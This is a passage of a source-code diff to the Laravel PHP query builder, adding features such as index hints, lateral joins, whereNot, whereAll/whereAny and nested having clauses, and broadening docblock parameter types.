index. + * + * @param string $index + * @return $this + */ + public function forceIndex($index) + { + $this->indexHint = new IndexHint('force', $index); + + return $this; + } + + /** + * Add an index hint to ignore a query index. + * + * @param string $index + * @return $this + */ + public function ignoreIndex($index) + { + $this->indexHint = new IndexHint('ignore', $index); + + return $this; + } + /** * Add a join clause to the query. * - * @param string $table - * @param \Closure|string $first + * @param \Illuminate\Contracts\Database\Query\Expression|string $table + * @param \Closure|\Illuminate\Contracts\Database\Query\Expression|string $first * @param string|null $operator - * @param string|null $second + * @param \Illuminate\Contracts\Database\Query\Expression|string|null $second * @param string $type * @param bool $where * @return $this @@ -495,10 +549,10 @@ public function join($table, $first, $operator = null, $second = null, $type = ' /** * Add a "join where" clause to the query. * - * @param string $table - * @param \Closure|string $first + * @param \Illuminate\Contracts\Database\Query\Expression|string $table + * @param \Closure|\Illuminate\Contracts\Database\Query\Expression|string $first * @param string $operator - * @param string $second + * @param \Illuminate\Contracts\Database\Query\Expression|string $second * @param string $type * @return $this */ @@ -512,9 +566,9 @@ public function joinWhere($table, $first, $operator, $second, $type = 'inner') * * @param \Closure|\Illuminate\Database\Query\Builder|\Illuminate\Database\Eloquent\Builder|string $query * @param string $as - * @param \Closure|string $first + * @param \Closure|\Illuminate\Contracts\Database\Query\Expression|string $first * @param string|null $operator - * @param string|null $second + * @param \Illuminate\Contracts\Database\Query\Expression|string|null $second * @param string $type * @param bool $where * @return $this @@ -532,13 +586,46 @@ public function joinSub($query, $as, $first, $operator = null, $second = null, $ return $this->join(new Expression($expression), $first, $operator, $second, $type, $where); } + /** + * Add a lateral join clause to the query. + * + * @param \Closure|\Illuminate\Database\Query\Builder|\Illuminate\Database\Eloquent\Builder|string $query + * @param string $as + * @param string $type + * @return $this + */ + public function joinLateral($query, string $as, string $type = 'inner') + { + [$query, $bindings] = $this->createSub($query); + + $expression = '('.$query.') as '.$this->grammar->wrapTable($as); + + $this->addBinding($bindings, 'join'); + + $this->joins[] = $this->newJoinLateralClause($this, $type, new Expression($expression)); + + return $this; + } + + /** + * Add a lateral left join to the query. + * + * @param \Closure|\Illuminate\Database\Query\Builder|\Illuminate\Database\Eloquent\Builder|string $query + * @param string $as + * @return $this + */ + public function leftJoinLateral($query, string $as) + { + return $this->joinLateral($query, $as, 'left'); + } + /** * Add a left join to the query. * - * @param string $table - * @param \Closure|string $first + * @param \Illuminate\Contracts\Database\Query\Expression|string $table + * @param \Closure|\Illuminate\Contracts\Database\Query\Expression|string $first * @param string|null $operator - * @param string|null $second + * @param \Illuminate\Contracts\Database\Query\Expression|string|null $second * @return $this */ public function leftJoin($table, $first, $operator = null, $second = null) @@ -549,10 +636,10 @@ public function leftJoin($table, $first, $operator = null, $second = null) /** * Add a "join where" clause to the query. * - * @param string $table - * @param \Closure|string $first + * @param \Illuminate\Contracts\Database\Query\Expression|string $table + * @param \Closure|\Illuminate\Contracts\Database\Query\Expression|string $first * @param string $operator - * @param string $second + * @param \Illuminate\Contracts\Database\Query\Expression|string|null $second * @return $this */ public function leftJoinWhere($table, $first, $operator, $second) @@ -565,9 +652,9 @@ public function leftJoinWhere($table, $first, $operator, $second) * * @param \Closure|\Illuminate\Database\Query\Builder|\Illuminate\Database\Eloquent\Builder|string $query * @param string $as - * @param \Closure|string $first + * @param \Closure|\Illuminate\Contracts\Database\Query\Expression|string $first * @param string|null $operator - * @param string|null $second + * @param \Illuminate\Contracts\Database\Query\Expression|string|null $second * @return $this */ public function leftJoinSub($query, $as, $first, $operator = null, $second = null) @@ -578,10 +665,10 @@ public function leftJoinSub($query, $as, $first, $operator = null, $second = nul /** * Add a right join to the query. * - * @param string $table + * @param \Illuminate\Contracts\Database\Query\Expression|string $table * @param \Closure|string $first * @param string|null $operator - * @param string|null $second + * @param \Illuminate\Contracts\Database\Query\Expression|string|null $second * @return $this */ public function rightJoin($table, $first, $operator = null, $second = null) @@ -592,10 +679,10 @@ public function rightJoin($table, $first, $operator = null, $second = null) /** * Add a "right join where" clause to the query. * - * @param string $table - * @param \Closure|string $first + * @param \Illuminate\Contracts\Database\Query\Expression|string $table + * @param \Closure|\Illuminate\Contracts\Database\Query\Expression|string $first * @param string $operator - * @param string $second + * @param \Illuminate\Contracts\Database\Query\Expression|string $second * @return $this */ public function rightJoinWhere($table, $first, $operator, $second) @@ -608,9 +695,9 @@ public function rightJoinWhere($table, $first, $operator, $second) * * @param \Closure|\Illuminate\Database\Query\Builder|\Illuminate\Database\Eloquent\Builder|string $query * @param string $as - * @param \Closure|string $first + * @param \Closure|\Illuminate\Contracts\Database\Query\Expression|string $first * @param string|null $operator - * @param string|null $second + * @param \Illuminate\Contracts\Database\Query\Expression|string|null $second * @return $this */ public function rightJoinSub($query, $as, $first, $operator = null, $second = null) @@ -621,10 +708,10 @@ public function rightJoinSub($query, $as, $first, $operator = null, $second = nu /** * Add a "cross join" clause to the query. * - * @param string $table - * @param \Closure|string|null $first + * @param \Illuminate\Contracts\Database\Query\Expression|string $table + * @param \Closure|\Illuminate\Contracts\Database\Query\Expression|string|null $first * @param string|null $operator - * @param string|null $second + * @param \Illuminate\Contracts\Database\Query\Expression|string|null $second * @return $this */ public function crossJoin($table, $first = null, $operator = null, $second = null) @@ -641,7 +728,7 @@ public function crossJoin($table, $first = null, $operator = null, $second = nul /** * Add a subquery cross join to the query. * - * @param \Closure|\Illuminate\Database\Query\Builder|string $query + * @param \Closure|\Illuminate\Database\Query\Builder|\Illuminate\Database\Eloquent\Builder|string $query * @param string $as * @return $this */ @@ -671,12 +758,25 @@ protected function newJoinClause(self $parentQuery, $type, $table) return new JoinClause($parentQuery, $type, $table); } + /** + * Get a new join lateral clause. + * + * @param \Illuminate\Database\Query\Builder $parentQuery + * @param string $type + * @param string $table + * @return \Illuminate\Database\Query\JoinLateralClause + */ + protected function newJoinLateralClause(self $parentQuery, $type, $table) + { + return new JoinLateralClause($parentQuery, $type, $table); + } + /** * Merge an array of where clauses and bindings. * * @param array $wheres * @param array $bindings - * @return void + * @return $this */ public function mergeWheres($wheres, $bindings) { @@ -685,12 +785,14 @@ public function mergeWheres($wheres, $bindings) $this->bindings['where'] = array_values( array_merge($this->bindings['where'], (array) $bindings) ); + + return $this; } /** * Add a basic where clause to the query. * - * @param \Closure|string|array $column + * @param \Closure|string|array|\Illuminate\Contracts\Database\Query\Expression $column * @param mixed $operator * @param mixed $value * @param string $boolean @@ -698,6 +800,14 @@ public function mergeWheres($wheres, $bindings) */ public function where($column, $operator = null, $value = null, $boolean = 'and') { + if ($column instanceof ConditionExpression) { + $type = 'Expression'; + + $this->wheres[] = compact('type', 'column', 'boolean'); + + return $this; + } + // If the column is an array, we will assume it is an array of key-value pairs // and can add them each as a where clause. We will maintain the boolean we // received when the method was called and pass it into the nested where. @@ -712,9 +822,9 @@ public function where($column, $operator = null, $value = null, $boolean = 'and' $value, $operator, func_num_args() === 2 ); - // If the columns is actually a Closure instance, we will assume the developer - // wants to begin a nested where statement which is wrapped in parenthesis. - // We'll add that Closure to the query then return back out immediately. + // If the column is actually a Closure instance, we will assume the developer + // wants to begin a nested where statement which is wrapped in parentheses. + // We will add that Closure to the query and return back out immediately. if ($column instanceof Closure && is_null($operator)) { return $this->whereNested($column, $boolean); } @@ -739,7 +849,7 @@ public function where($column, $operator = null, $value = null, $boolean = 'and' // If the value is a Closure, it means the developer is performing an entire // sub-select within the query and we will need to compile the sub-select // within the where clause to get the appropriate query record results. - if ($value instanceof Closure) { + if ($this->isQueryable($value)) { return $this->whereSub($column, $operator, $value, $boolean); } @@ -752,10 +862,14 @@ public function where($column, $operator = null, $value = null, $boolean = 'and' $type = 'Basic'; + $columnString = ($column instanceof ExpressionContract) + ? $this->grammar->getValue($column) + : $column; + // If the column is making a JSON reference we'll check to see if the value // is a boolean. If it is, we'll add the raw boolean string as an actual // value to the query to ensure this is properly handled by the query. - if (Str::contains($column, '->') && is_bool($value)) { + if (str_contains($columnString, '->') && is_bool($value)) { $value = new Expression($value ? 'true' : 'false'); if (is_string($column)) { @@ -774,7 +888,7 @@ public function where($column, $operator = null, $value = null, $boolean = 'and' 'type', 'column', 'operator', 'value', 'boolean' ); - if (! $value instanceof Expression) { + if (! $value instanceof ExpressionContract) { $this->addBinding($this->flattenValue($value), 'where'); } @@ -796,7 +910,7 @@ protected function addArrayOfWheres($column, $boolean, $method = 'where') if (is_numeric($key) && is_array($value)) { $query->{$method}(...array_values($value)); } else { - $query->$method($key, '=', $value, $boolean); + $query->{$method}($key, '=', $value, $boolean); } } }, $boolean); @@ -865,7 +979,7 @@ protected function isBitwiseOperator($operator) /** * Add an "or where" clause to the query. * - * @param \Closure|string|array $column + * @param \Closure|string|array|\Illuminate\Contracts\Database\Query\Expression $column * @param mixed $operator * @param mixed $value * @return $this @@ -879,10 +993,43 @@ public function orWhere($column, $operator = null, $value = null) return $this->where($column, $operator, $value, 'or'); } + /** + * Add a basic "where not" clause to the query. + * + * @param \Closure|string|array|\Illuminate\Contracts\Database\Query\Expression $column + * @param mixed $operator + * @param mixed $value + * @param string $boolean + * @return $this + */ + public function whereNot($column, $operator = null, $value = null, $boolean = 'and') + { + if (is_array($column)) { + return $this->whereNested(function ($query) use ($column, $operator, $value, $boolean) { + $query->where($column, $operator, $value, $boolean); + }, $boolean.' not'); + } + + return $this->where($column, $operator, $value, $boolean.' not'); + } + + /** + * Add an "or where not" clause to the query. + * + * @param \Closure|string|array|\Illuminate\Contracts\Database\Query\Expression $column + * @param mixed $operator + * @param mixed $value + * @return $this + */ + public function orWhereNot($column, $operator = null, $value = null) + { + return $this->whereNot($column, $operator, $value, 'or'); + } + /** * Add a "where" clause comparing two columns to the query. * - * @param string|array $first + * @param \Illuminate\Contracts\Database\Query\Expression|string|array $first * @param string|null $operator * @param string|null $second * @param string|null $boolean @@ -919,7 +1066,7 @@ public function whereColumn($first, $operator = null, $second = null, $boolean = /** * Add an "or where" clause comparing two columns to the query. * - * @param string|array $first + * @param \Illuminate\Contracts\Database\Query\Expression|string|array $first * @param string|null $operator * @param string|null $second * @return $this @@ -961,7 +1108,7 @@ public function orWhereRaw($sql, $bindings = []) /** * Add a "where in" clause to the query. * - * @param string $column + * @param \Illuminate\Contracts\Database\Query\Expression|string $column * @param mixed $values * @param string $boolean * @param bool $not @@ -972,7 +1119,7 @@ public function whereIn($column, $values, $boolean = 'and', $not = false) $type = $not ? 'NotIn' : 'In'; // If the value is a query builder instance we will assume the developer wants to - // look for any values that exists within this given query. So we will add the + // look for any values that exist within this given query. So, we will add the // query accordingly so that this query is properly executed when it is run. if ($this->isQueryable($values)) { [$query, $bindings] = $this->createSub($values); @@ -991,7 +1138,11 @@ public function whereIn($column, $values, $boolean = 'and', $not = false) $this->wheres[] = compact('type', 'column', 'values', 'boolean'); - // Finally we'll add a binding for each values unless that value is an expression + if (count($values) !== count(Arr::flatten($values, 1))) { + throw new InvalidArgumentException('Nested arrays may not be passed to whereIn method.'); + } + + // Finally, we'll add a binding for each value unless that value is an expression // in which case we will just skip over it since it will be the query as a raw // string and not as a parameterized place-holder to be replaced by the PDO. $this->addBinding($this->cleanBindings($values), 'where'); @@ -1002,7 +1153,7 @@ public function whereIn($column, $values, $boolean = 'and', $not = false) /** * Add an "or where in" clause to the query. * - * @param string $column + * @param \Illuminate\Contracts\Database\Query\Expression|string $column * @param mixed $values * @return $this */ @@ -1014,7 +1165,7 @@ public function orWhereIn($column, $values) /** * Add a "where not in" clause to the query. * - * @param string $column + * @param \Illuminate\Contracts\Database\Query\Expression|string $column * @param mixed $values * @param string $boolean * @return $this @@ -1027,7 +1178,7 @@ public function whereNotIn($column, $values, $boolean = 'and') /** * Add an "or where not in" clause to the query. * - * @param string $column + * @param \Illuminate\Contracts\Database\Query\Expression|string $column * @param mixed $values * @return $this */ @@ -1053,8 +1204,10 @@ public function whereIntegerInRaw($column, $values, $boolean = 'and', $not = fal $values = $values->toArray(); } + $values = Arr::flatten($values); + foreach ($values as &$value) { - $value = (int) $value; + $value = (int) ($value instanceof BackedEnum ? $value->value : $value); } $this->wheres[] = compact('type', 'column', 'values', 'boolean'); @@ -1102,7 +1255,7 @@ public function orWhereIntegerNotInRaw($column, $values) /** * Add a "where null" clause to the query. * - * @param string|array $columns + * @param string|array|\Illuminate\Contracts\Database\Query\Expression $columns * @param string $boolean * @param bool $not * @return $this @@ -1121,7 +1274,7 @@ public function whereNull($columns, $boolean = 'and', $not = false) /** * Add an "or where null" clause to the query. * - * @param string|array $column + * @param string|array|\Illuminate\Contracts\Database\Query\Expression $column * @return $this */ public function orWhereNull($column) @@ -1132,7 +1285,7 @@ public function orWhereNull($column) /** * Add a "where not null" clause to the query. * - * @param string|array $columns + * @param string|array|\Illuminate\Contracts\Database\Query\Expression $columns * @param string $boolean * @return $this */ @@ -1144,16 +1297,20 @@ public function whereNotNull($columns, $boolean = 'and') /** * Add a where between statement to the query. * - * @param string|\Illuminate\Database\Query\Expression $column - * @param array $values + * @param \Illuminate\Contracts\Database\Query\Expression|string $column + * @param iterable $values * @param string $boolean * @param bool $not * @return $this */ - public function whereBetween($column, array $values, $boolean = 'and', $not = false) + public function whereBetween($column, iterable $values, $boolean = 'and', $not = false) { $type = 'between'; + if ($values instanceof CarbonPeriod) { + $values = [$values->start, $values->end]; + } + $this->wheres[] = compact('type', 'column', 'values', 'boolean', 'not'); $this->addBinding(array_slice($this->cleanBindings(Arr::flatten($values)), 0, 2), 'where'); @@ -1164,7 +1321,7 @@ public function whereBetween($column, array $values, $boolean = 'and', $not = fa /** * Add a where between statement using columns to the query. * - * @param string $column + * @param \Illuminate\Contracts\Database\Query\Expression|string $column * @param array $values * @param string $boolean * @param bool $not @@ -1182,11 +1339,11 @@ public function whereBetweenColumns($column, array $values, $boolean = 'and', $n /** * Add an or where between statement to the query. * - * @param string $column - * @param array $values + * @param \Illuminate\Contracts\Database\Query\Expression|string $column + * @param iterable $values * @return $this */ - public function orWhereBetween($column, array $values) + public function orWhereBetween($column, iterable $values) { return $this->whereBetween($column, $values, 'or'); } @@ -1194,7 +1351,7 @@ public function orWhereBetween($column, array $values) /** * Add an or where between statement using columns to the query. * - * @param string $column + * @param \Illuminate\Contracts\Database\Query\Expression|string $column * @param array $values * @return $this */ @@ -1206,12 +1363,12 @@ public function orWhereBetweenColumns($column, array $values) /** * Add a where not between statement to the query. * - * @param string $column - * @param array $values + * @param \Illuminate\Contracts\Database\Query\Expression|string $column + * @param iterable $values * @param string $boolean * @return $this */ - public function whereNotBetween($column, array $values, $boolean = 'and') + public function whereNotBetween($column, iterable $values, $boolean = 'and') { return $this->whereBetween($column, $values, $boolean, true); } @@ -1219,7 +1376,7 @@ public function whereNotBetween($column, array $values, $boolean = 'and') /** * Add a where not between statement using columns to the query. * - * @param string $column + * @param \Illuminate\Contracts\Database\Query\Expression|string $column * @param array $values * @param string $boolean * @return $this @@ -1232,11 +1389,11 @@ public function whereNotBetweenColumns($column, array $values, $boolean = 'and') /** * Add an or where not between statement to the query. * - * @param string $column - * @param array $values + * @param \Illuminate\Contracts\Database\Query\Expression|string $column + * @param iterable $values * @return $this */ - public function orWhereNotBetween($column, array $values) + public function orWhereNotBetween($column, iterable $values) { return $this->whereNotBetween($column, $values, 'or'); } @@ -1244,7 +1401,7 @@ public function orWhereNotBetween($column, array $values) /** * Add an or where not between statement using columns to the query. * - * @param string $column + * @param \Illuminate\Contracts\Database\Query\Expression|string $column * @param array $values * @return $this */ @@ -1256,7 +1413,7 @@ public function orWhereNotBetweenColumns($column, array $values) /** * Add an "or where not null" clause to the query. * - * @param string $column + * @param \Illuminate\Contracts\Database\Query\Expression|string $column * @return $this */ public function orWhereNotNull($column) @@ -1267,8 +1424,8 @@ public function orWhereNotNull($column) /** * Add a "where date" statement to the query. * - * @param \Illuminate\Database\Query\Expression|string $column - * @param string $operator + * @param \Illuminate\Contracts\Database\Query\Expression|string $column + * @param \DateTimeInterface|string|null $operator * @param \DateTimeInterface|string|null $value * @param string $boolean * @return $this @@ -1291,8 +1448,8 @@ public function whereDate($column, $operator, $value = null, $boolean = 'and') /** * Add an "or where date" statement to the query. * - * @param string $column - * @param string $operator + * @param \Illuminate\Contracts\Database\Query\Expression|string $column + * @param \DateTimeInterface|string|null $operator * @param \DateTimeInterface|string|null $value * @return $this */ @@ -1308,8 +1465,8 @@ public function orWhereDate($column, $operator, $value = null) /** * Add a "where time" statement to the query. * - * @param string $column - * @param string $operator + * @param \Illuminate\Contracts\Database\Query\Expression|string $column + * @param \DateTimeInterface|string|null $operator * @param \DateTimeInterface|string|null $value * @param string $boolean * @return $this @@ -1332,8 +1489,8 @@ public function whereTime($column, $operator, $value = null, $boolean = 'and') /** * Add an "or where time" statement to the query. * - * @param string $column - * @param string $operator + * @param \Illuminate\Contracts\Database\Query\Expression|string $column + * @param \DateTimeInterface|string|null $operator * @param \DateTimeInterface|string|null $value * @return $this */ @@ -1349,9 +1506,9 @@ public function orWhereTime($column, $operator, $value = null) /** * Add a "where day" statement to the query. * - * @param string $column - * @param string $operator - * @param \DateTimeInterface|string|null $value + * @param \Illuminate\Contracts\Database\Query\Expression|string $column + * @param \DateTimeInterface|string|int|null $operator + * @param \DateTimeInterface|string|int|null $value * @param string $boolean * @return $this */ @@ -1367,8 +1524,8 @@ public function whereDay($column, $operator, $value = null, $boolean = 'and') $value = $value->format('d'); } - if (! $value instanceof Expression) { - $value = str_pad($value, 2, '0', STR_PAD_LEFT); + if (! $value instanceof ExpressionContract) { + $value = sprintf('%02d', $value); } return $this->addDateBasedWhere('Day', $column, $operator, $value, $boolean); @@ -1377,9 +1534,9 @@ public function whereDay($column, $operator, $value = null, $boolean = 'and') /** * Add an "or where day" statement to the query. * - * @param string $column - * @param string $operator - * @param \DateTimeInterface|string|null $value + * @param \Illuminate\Contracts\Database\Query\Expression|string $column + * @param \DateTimeInterface|string|int|null $operator + * @param \DateTimeInterface|string|int|null $value * @return $this */ public function orWhereDay($column, $operator, $value = null) @@ -1394,9 +1551,9 @@ public function orWhereDay($column, $operator, $value = null) /** * Add a "where month" statement to the query. * - * @param string $column - * @param string $operator - * @param \DateTimeInterface|string|null $value + * @param \Illuminate\Contracts\Database\Query\Expression|string $column + * @param \DateTimeInterface|string|int|null $operator + * @param \DateTimeInterface|string|int|null $value * @param string $boolean * @return $this */ @@ -1412,8 +1569,8 @@ public function whereMonth($column, $operator, $value = null, $boolean = 'and') $value = $value->format('m'); } - if (! $value instanceof Expression) { - $value = str_pad($value, 2, '0', STR_PAD_LEFT); + if (! $value instanceof ExpressionContract) { + $value = sprintf('%02d', $value); } return $this->addDateBasedWhere('Month', $column, $operator, $value, $boolean); @@ -1422,9 +1579,9 @@ public function whereMonth($column, $operator, $value = null, $boolean = 'and') /** * Add an "or where month" statement to the query. * - * @param string $column - * @param string $operator - * @param \DateTimeInterface|string|null $value + * @param \Illuminate\Contracts\Database\Query\Expression|string $column + * @param \DateTimeInterface|string|int|null $operator + * @param \DateTimeInterface|string|int|null $value * @return $this */ public function orWhereMonth($column, $operator, $value = null) @@ -1439,8 +1596,8 @@ public function orWhereMonth($column, $operator, $value = null) /** * Add a "where year" statement to the query. * - * @param string $column - * @param string $operator + * @param \Illuminate\Contracts\Database\Query\Expression|string $column + * @param \DateTimeInterface|string|int|null $operator * @param \DateTimeInterface|string|int|null $value * @param string $boolean * @return $this @@ -1463,8 +1620,8 @@ public function whereYear($column, $operator, $value = null, $boolean = 'and') /** * Add an "or where year" statement to the query. * - * @param string $column - * @param string $operator + * @param \Illuminate\Contracts\Database\Query\Expression|string $column + * @param \DateTimeInterface|string|int|null $operator * @param \DateTimeInterface|string|int|null $value * @return $this */ @@ -1481,7 +1638,7 @@ public function orWhereYear($column, $operator, $value = null) * Add a date based (year, month, day, time) statement to the query. * * @param string $type - * @param string $column + * @param \Illuminate\Contracts\Database\Query\Expression|string $column * @param string $operator * @param mixed $value * @param string $boolean @@ -1491,7 +1648,7 @@ protected function addDateBasedWhere($type, $column, $operator, $value, $boolean { $this->wheres[] = compact('column', 'type', 'boolean', 'operator', 'value'); - if (! $value instanceof Expression) { + if (! $value instanceof ExpressionContract) { $this->addBinding($value, 'where'); } @@ -1507,7 +1664,7 @@ protected function addDateBasedWhere($type, $column, $operator, $value, $boolean */ public function whereNested(Closure $callback, $boolean = 'and') { - call_user_func($callback, $query = $this->forNestedWhere()); + $callback($query = $this->forNestedWhere()); return $this->addNestedWhereQuery($query, $boolean); } @@ -1545,20 +1702,24 @@ public function addNestedWhereQuery($query, $boolean = 'and') /** * Add a full sub-select to the query. * - * @param string $column + * @param \Illuminate\Contracts\Database\Query\Expression|string $column * @param string $operator - * @param \Closure $callback + * @param \Closure|\Illuminate\Database\Query\Builder|\Illuminate\Database\Eloquent\Builder $callback * @param string $boolean * @return $this */ - protected function whereSub($column, $operator, Closure $callback, $boolean) + protected function whereSub($column, $operator, $callback, $boolean) { $type = 'Sub'; - // Once we have the query instance we can simply execute it so it can add all - // of the sub-select's conditions to itself, and then we can cache it off - // in the array of where clauses for the "main" parent query instance. - call_user_func($callback, $query = $this->forSubQuery()); + if ($callback instanceof Closure) { + // Once we have the query instance we can simply execute it so it can add all + // of the sub-select's conditions to itself, and then we can cache it off + // in the array of where clauses for the "main" parent query instance. + $callback($query = $this->forSubQuery()); + } else { + $query = $callback instanceof EloquentBuilder ? $callback->toBase() : $callback; + } $this->wheres[] = compact( 'type', 'column', 'operator', 'query', 'boolean' @@ -1572,19 +1733,23 @@ protected function whereSub($column, $operator, Closure $callback, $boolean) /** * Add an exists clause to the query. * - * @param \Closure $callback + * @param \Closure|\Illuminate\Database\Query\Builder|\Illuminate\Database\Eloquent\Builder $callback * @param string $boolean * @param bool $not * @return $this */ - public function whereExists(Closure $callback, $boolean = 'and', $not = false) + public function whereExists($callback, $boolean = 'and', $not = false) { - $query = $this->forSubQuery(); + if ($callback instanceof Closure) { + $query = $this->forSubQuery(); - // Similar to the sub-select clause, we will create a new query instance so - // the developer may cleanly specify the entire exists query and we will - // compile the whole thing in the grammar and insert it into the SQL. - call_user_func($callback, $query); + // Similar to the sub-select clause, we will create a new query instance so + // the developer may cleanly specify the entire exists query and we will + // compile the whole thing in the grammar and insert it into the SQL. + $callback($query); + } else { + $query = $callback instanceof EloquentBuilder ? $callback->toBase() : $callback; + } return $this->addWhereExistsQuery($query, $boolean, $not); } @@ -1592,11 +1757,11 @@ public function whereExists(Closure $callback, $boolean = 'and', $not = false) /** * Add an or exists clause to the query. * - * @param \Closure $callback + * @param \Closure|\Illuminate\Database\Query\Builder|\Illuminate\Database\Eloquent\Builder $callback * @param bool $not * @return $this */ - public function orWhereExists(Closure $callback, $not = false) + public function orWhereExists($callback, $not = false) { return $this->whereExists($callback, 'or', $not); } @@ -1604,11 +1769,11 @@ public function orWhereExists(Closure $callback, $not = false) /** * Add a where not exists clause to the query. * - * @param \Closure $callback + * @param \Closure|\Illuminate\Database\Query\Builder|\Illuminate\Database\Eloquent\Builder $callback * @param string $boolean * @return $this */ - public function whereNotExists(Closure $callback, $boolean = 'and') + public function whereNotExists($callback, $boolean = 'and') { return $this->whereExists($callback, $boolean, true); } @@ -1616,10 +1781,10 @@ public function whereNotExists(Closure $callback, $boolean = 'and') /** * Add a where not exists clause to the query. * - * @param \Closure $callback + * @param \Closure|\Illuminate\Database\Query\Builder|\Illuminate\Database\Eloquent\Builder $callback * @return $this */ - public function orWhereNotExists(Closure $callback) + public function orWhereNotExists($callback) { return $this->orWhereExists($callback, true); } @@ -1697,7 +1862,7 @@ public function whereJsonContains($column, $value, $boolean = 'and', $not = fals $this->wheres[] = compact('type', 'column', 'value', 'boolean', 'not'); - if (! $value instanceof Expression) { + if (! $value instanceof ExpressionContract) { $this->addBinding($this->grammar->prepareBindingForJsonContains($value)); } @@ -1741,6 +1906,57 @@ public function orWhereJsonDoesntContain($column, $value) return $this->whereJsonDoesntContain($column, $value, 'or'); } + /** + * Add a clause that determines if a JSON path exists to the query. + * + * @param string $column + * @param string $boolean + * @param bool $not + * @return $this + */ + public function whereJsonContainsKey($column, $boolean = 'and', $not = false) + { + $type = 'JsonContainsKey'; + + $this->wheres[] = compact('type', 'column', 'boolean', 'not'); + + return $this; + } + + /** + * Add an "or" clause that determines if a JSON path exists to the query. + * + * @param string $column + * @return $this + */ + public function orWhereJsonContainsKey($column) + { + return $this->whereJsonContainsKey($column, 'or'); + } + + /** + * Add a clause that determines if a JSON path does not exist to the query. + * + * @param string $column + * @param string $boolean + * @return $this + */ + public function whereJsonDoesntContainKey($column, $boolean = 'and') + { + return $this->whereJsonContainsKey($column, $boolean, true); + } + + /** + * Add an "or" clause that determines if a JSON path does not exist to the query. + * + * @param string $column + * @return $this + */ + public function orWhereJsonDoesntContainKey($column) + { + return $this->whereJsonDoesntContainKey($column, 'or'); + } + /** * Add a "where JSON length" clause to the query. * @@ -1760,7 +1976,7 @@ public function whereJsonLength($column, $operator, $value = null, $boolean = 'a $this->wheres[] = compact('type', 'column', 'operator', 'value', 'boolean'); - if (! $value instanceof Expression) { + if (! $value instanceof ExpressionContract) { $this->addBinding((int) $this->flattenValue($value)); } @@ -1879,10 +2095,84 @@ public function orWhereFullText($columns, $value, array $options = []) return $this->whereFulltext($columns, $value, $options, 'or'); } + /** + * Add a "where" clause to the query for multiple columns with "and" conditions between them. + * + * @param string[] $columns + * @param mixed $operator + * @param mixed $value + * @param string $boolean + * @return $this + */ + public function whereAll($columns, $operator = null, $value = null, $boolean = 'and') + { + [$value, $operator] = $this->prepareValueAndOperator( + $value, $operator, func_num_args() === 2 + ); + + $this->whereNested(function ($query) use ($columns, $operator, $value) { + foreach ($columns as $column) { + $query->where($column, $operator, $value, 'and'); + } + }, $boolean); + + return $this; + } + + /** + * Add an "or where" clause to the query for multiple columns with "and" conditions between them. + * + * @param string[] $columns + * @param string $operator + * @param mixed $value + * @return $this + */ + public function orWhereAll($columns, $operator = null, $value = null) + { + return $this->whereAll($columns, $operator, $value, 'or'); + } + + /** + * Add an "where" clause to the query for multiple columns with "or" conditions between them. + * + * @param string[] $columns + * @param string $operator + * @param mixed $value + * @param string $boolean + * @return $this + */ + public function whereAny($columns, $operator = null, $value = null, $boolean = 'and') + { + [$value, $operator] = $this->prepareValueAndOperator( + $value, $operator, func_num_args() === 2 + ); + + $this->whereNested(function ($query) use ($columns, $operator, $value) { + foreach ($columns as $column) { + $query->where($column, $operator, $value, 'or'); + } + }, $boolean); + + return $this; + } + + /** + * Add an "or where" clause to the query for multiple columns with "or" conditions between them. + * + * @param string[] $columns + * @param string $operator + * @param mixed $value + * @return $this + */ + public function orWhereAny($columns, $operator = null, $value = null) + { + return $this->whereAny($columns, $operator, $value, 'or'); + } + /** * Add a "group by" clause to the query. * - * @param array|string ...$groups + * @param array|\Illuminate\Contracts\Database\Query\Expression|string ...$groups * @return $this */ public function groupBy(...$groups) @@ -1916,9 +2206,9 @@ public function groupByRaw($sql, array $bindings = []) /** * Add a "having" clause to the query. * - * @param string $column - * @param string|null $operator - * @param string|null $value + * @param \Illuminate\Contracts\Database\Query\Expression|\Closure|string $column + * @param string|int|float|null $operator + * @param string|int|float|null $value * @param string $boolean * @return $this */ @@ -1926,6 +2216,14 @@ public function having($column, $operator = null, $value = null, $boolean = 'and { $type = 'Basic'; + if ($column instanceof ConditionExpression) { + $type = 'Expression'; + + $this->havings[] = compact('type', 'column', 'boolean'); + + return $this; + } + // Here we will make some assumptions about the operator. If only 2 values are // passed to the method, we will assume that the operator is an equals sign // and keep going. Otherwise, we'll require the operator to be passed in. @@ -1933,6 +2231,10 @@ public function having($column, $operator = null, $value = null, $boolean = 'and $value, $operator, func_num_args() === 2 ); + if ($column instanceof Closure && is_null($operator)) { + return $this->havingNested($column, $boolean); + } + // If the given operator is not found in the list of valid operators we will // assume that the developer is just short-cutting the '=' operators and // we will set the operators to '=' and set the values appropriately. @@ -1946,7 +2248,7 @@ public function having($column, $operator = null, $value = null, $boolean = 'and $this->havings[] = compact('type', 'column', 'operator', 'value', 'boolean'); - if (! $value instanceof Expression) { + if (! $value instanceof ExpressionContract) { $this->addBinding($this->flattenValue($value), 'having'); } @@ -1956,9 +2258,9 @@ public function having($column, $operator = null, $value = null, $boolean = 'and /** * Add an "or having" clause to the query. * - * @param string $column - * @param string|null $operator - * @param string|null $value + * @param \Illuminate\Contracts\Database\Query\Expression|\Closure|string $column + * @param string|int|float|null $operator + * @param string|int|float|null $value * @return $this */ public function orHaving($column, $operator = null, $value = null) @@ -1970,19 +2272,110 @@ public function orHaving($column, $operator = null, $value = null) return $this->having($column, $operator, $value, 'or'); } + /** + * Add a nested having statement to the query. + * + * @param \Closure $callback + * @param string $boolean + * @return $this + */ + public function havingNested(Closure $callback, $boolean = 'and') + { + $callback($query = $this->forNestedWhere()); + + return $this->addNestedHavingQuery($query, $boolean); + } + + /** + * Add another query builder as a nested having to the query builder. + * + * @param \Illuminate\Database\Query\Builder $query + * @param string $boolean + * @return $this + */ + public function addNestedHavingQuery($query, $boolean = 'and') + { + if (count($query->havings)) { + $type = 'Nested'; + + $this->havings[] = compact('type', 'query', 'boolean'); + + $this->addBinding($query->getRawBindings()['having'], 'having'); + } + + return $this; + } + + /** + * Add a "having null" clause to the query. + * + * @param string|array $columns + * @param string $boolean + * @param bool $not + * @return $this + */ + public function havingNull($columns, $boolean = 'and', $not = false) + { + $type = $not ? 'NotNull' : 'Null'; + + foreach (Arr::wrap($columns) as $column) { + $this->havings[] = compact('type', 'column', 'boolean'); + } + + return $this; + } + + /** + * Add an "or having null" clause to the query. + * + * @param string $column + * @return $this + */ + public function orHavingNull($column) + { + return $this->havingNull($column, 'or'); + } + + /** + * Add a "having not null" clause to the query. + * + * @param string|array $columns + * @param string $boolean + * @return $this + */ + public function havingNotNull($columns, 